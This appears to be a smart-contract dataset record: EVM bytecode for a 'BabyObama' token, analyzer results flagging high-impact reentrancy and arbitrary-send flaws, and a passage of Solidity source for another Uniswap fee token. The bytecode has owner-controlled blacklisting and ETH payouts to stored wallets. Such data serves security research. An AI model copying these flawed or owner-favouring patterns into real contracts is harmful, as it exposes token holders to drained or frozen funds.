81611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f426162794f62616d610000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7d2c1314de0f53a4bf01fc00dc3e4225f9da995886a56f901f3d4fd0e68d5b964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,019 |
0xfa6383ad2101cb0dc6f70336c14597e27fe91c5f
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000000000 * 10**_decimals;
uint256 public buyFee = 2;
uint256 public sellFee = 2;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
uint256 private swapAtAmount = _tTotal;
uint256 private amt;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
